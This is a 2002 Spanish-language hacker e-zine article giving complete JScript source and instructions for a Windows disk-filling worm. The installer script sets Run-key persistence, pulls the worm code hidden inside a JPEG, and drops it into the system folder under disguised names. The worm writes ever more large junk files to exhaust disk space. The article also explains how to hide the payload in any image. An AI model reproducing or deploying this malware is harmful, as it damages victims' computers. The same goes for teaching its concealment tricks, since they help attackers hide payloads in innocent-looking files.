RareGaZz19:(rgz_03):27/03/2002 << Back To RareGaZz19


: :.:..:...:....:.....:......:.......:........:.........:..........: : : :::: : : : : RGZ_03 GusanoDisk Y v5.recover Virus HeX : :.:..:...:....:.....:......:.......:........:.........:..........: : : :::: Codigo fuente y explicacion Saludos, como la mayoria de los usuarios saben un gusano es un tipo especial de virus informaticos que se duplica y crece a lo largo de los sistemas para colapsarlos, tal cual fue el caso del gusano de Robert Morris. El siguiente gusano que dise~e, opera bajo la mayoria de los Windows, fue escrito en JScript. Por lo que los OS Win con Windows Script Hosting (WSH) deben soportarlo (a partir de W98 todos los sistemas son compatibles). Su funcionamiento es simple, consta de dos scripts, una que es el "instalador" (Y-OPEN) y otro es el gusano en si mismo (Y-DISK). El Y-DISK es el que se encarga de crear archivos de sistemas que crecen en la carpeta WINDOWS/SYSTEM o WINDOWS/SYSTEM32, dependiendo del sistema si es 9x o NT. Estos archivos se crean con un nombre aleatorio y empiezan a crecer conforme la sesion del usuario este activa. El gusano Y-DISK se ejecuta desde la cadena RUN del registro de Windows. Este es el primer codigo, Y-OPEN. El cual puede ir como un archivo JS, WSF o inclusive como un script dentro de un documento HTML (este ultimo puede presentar un mensaje de alerta en algunas versiones de IE, por lo que se debe tratar con cuidado). Y-OPEN -codigo fuente- /* Se declaran variables y se crean los objetos WSH y FSO. Ademas se corre la funcion 'mai' */ var ob, ws, ws2, g, g2, t, yu, ly, f, f2; ob = new ActiveXObject("Scripting.FileSystemObject"); ws = WScript.CreateObject ("WScript.Shell"); // Aqui se obtiene la carpeta Windows\System, desde cualquier ubicacion n = ob.GetSpecialFolder(1)+"\\"; yu = ran(); ly = n+yu+".js"; mai(); /* Esta funcion es la encargada de editar el registro e instalar el codigo en disco */ function mai(){ // Se obtiene el valor de 'MenuShowDelay' si no es igual a auto se procede ws2 = ws.RegRead("HKCU\\Control Panel\\Desktop\\MenuShowDelay"); if (ws2 != "auto"){ /* Se escriben las variables de RUN y 'MenuShowDelay' para que se corra el gusano y no se vuelva a ejecutar este script */ ws.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"+yu, l y, "REG_SZ"); ws.RegWrite("HKCU\\Control Panel\\Desktop\\MenuShowDelay", "auto", "REG_SZ"); // Se obtiene el archivo 'girl.jpg' y se lee tan solo el codigo del Y-DISK g = ob.GetFile("girl.jpg"); f = g.OpenAsTextStream(1, -2); g2 = f.ReadAll(); /* Esta substring (subcadena) que se obtiene de la imagen puede alterarla, mas adelante explicare como */ g2 = g2.substring(31029, 32457); /* Se crea un archivo con la misma ruta que se indico en el registro y se escribe el gusano */ t = ob.OpenTextFile(ly, 2, true); t.Write(g2); t.Close(); // Se le otorga atributo de sistema al script del gusano f2 = ob.GetFile(ly); f2.attributes = f2.attributes + 4; } } // Esta funcion regresa un nombre aleatorio para el script. function ran(){ rr = new Array(15); rr[0] ="$mstask"; rr[1] ="$command"; rr[2] ="$explorer"; rr[3] ="$alg"; rr[4] ="$logon"; rr[5] ="$ie"; rr[6] ="$icq"; rr[7] ="$win"; rr[8] ="$system"; rr[9] ="$sys"; rr[10] ="$scanreg"; rr[11] ="$yahoo"; rr[12] ="$msn"; rr[13] ="$clock "; rr[14] ="$logger"; rr[15] ="$yl"; var irr = rr[parseInt(Math.round(Math.random()*15))]; return (irr); } Este primer script, por lo tanto, tan solo instala el codigo original obteniendo a partir de la imagen. En este caso el archivo de la imagen de Pamela Anderson es el contenedor temporal del siguiente codigo. Puedes cambiar la imagen por la que desees, para ello tan solo abre en un editor hexadecimal el archivo de tu imagen, anota el tama~o exacto de esta. Al final de la imagen agregale el codigo del YL-DISK. Entonces verifica el nuevo tama~o del archivo. Despues en el YL-OPEN, en la variable 'g2' cuando se obtiene su subcadena, linea 33. Edita el primer valor de 31029 por el tama~o original de tu imagen y el valor de 32457 por el del tama~o final de la imagen. Asi, tu codigo va a obtener la subcadena correcta de tu propia imagen. Y-DISK -codigo fuente- /* Se declaran las variables y se crea el objeto FSO. Ademas se procede con la funcion 'wrote' */ var ob, f, f2, t, t2, n, w, ry0, ry1; ob = new ActiveXObject("Scripting.FileSystemObject"); t = new Date(); t2 = t.getHours()+t.getMinutes()+t.getSeconds(); n = ob.GetSpecialFolder(1)+"\\"; wrote(); // Esta funcion crea un archivo aleatorio y escribe dentro de la funcion rew function wrote(){ ry0 = ran(); ry1 = ran2(); w = n+ry0+t2+ry1; f = ob.OpenTextFile(w, 2, true); // Se puede editar el valor de 'q < 1000' y el tama~o del archivo sera mayor for (q = 0; q < 1000; q++){rew();} f.Close(); f2 = ob.GetFile(w); f2.attributes = f2.attributes + 4; } // Esta funcion regresa un nombre de archivo aleatorio para crearse con 'wrote' function ran(){ rr = new Array(15); rr[0] ="mstask."; rr[1] ="command."; rr[2] ="explorer."; rr[3] ="alg."; rr[4] = "logon."; rr[5] ="ie."; rr[6] ="leeme."; rr[7] ="win."; rr[8] ="system."; rr[9] ="sys."; rr[10] ="scanreg."; rr[11] ="icq."; rr[12] ="msn."; rr[13] ="clock."; rr[14] ="logger."; rr[15] ="yl."; var irr = rr[parseInt(Math.round(Math.random()*15))]; return (irr); } // Esta funcion crea la extension para el archivo function ran2(){ rr2 = new Array(15); rr2[0] =".exe"; rr2[1] =".doc"; rr2[2] =".com"; rr2[3] =".bat"; rr2[4] =".tmp"; rr2[5] =".xls"; rr2[6] =".ini"; rr2[7] =".inf"; rr2[8] =".vxd"; rr2[9] =".dll" ; rr2[10] =".htm"; rr2[11] =".cpl"; rr2[12] =".sys"; rr2[13] =".dat"; rr2[14] = ".yl"; rr2[15] =".hex"; var irr2 = rr2[parseInt(Math.round(Math.random()*15))]; return (irr2); } // La funcion 'rew' escribe dentro de los archivos creados function rew(){ // Este es el encabezado que lleva el archivo, pueden cambiarlo si quieren f.Write(":::: GusanoDisk Y v5.recover ::::"); f.Write("Creado :: "+ t2); f.WriteBlankLines(90); // Puedes editar el valor de Write, para agregar un mensaje personalizado for (q = 0; q < 900; q++){f.Write("GusanoDisk Y by HeX. Gracias por sus megabytes.");} } Estos son los codigos y explicaciones del funcionamiento de mi gusano, espero que les sea util para algun proposito inofensivo. Espero pronto tener mejoras en su codigo, proyecto YL, para que se multiple por los usuarios de una red LAN, ademas que este disponible en otro lenguaje de programacion, VBScript o Perl para NT. Mi buzon esta abierto para cualquier sugerencia, error localizado o comentario en general, escribe a hex@engelnet.cjb.net. Si lo deseas tambien, tengo disponible un modulo de codigo para que el gusano haga un reporte del sistema y te lo mande a un sitio ftp, ideal para conocer el sistema anfitrion. [ Editor: Se adjunta el archivo "cod-Y5R-hex.zip", el cual incluye los codigos js y tambien la imagen. ] <<::RareGaZz::>>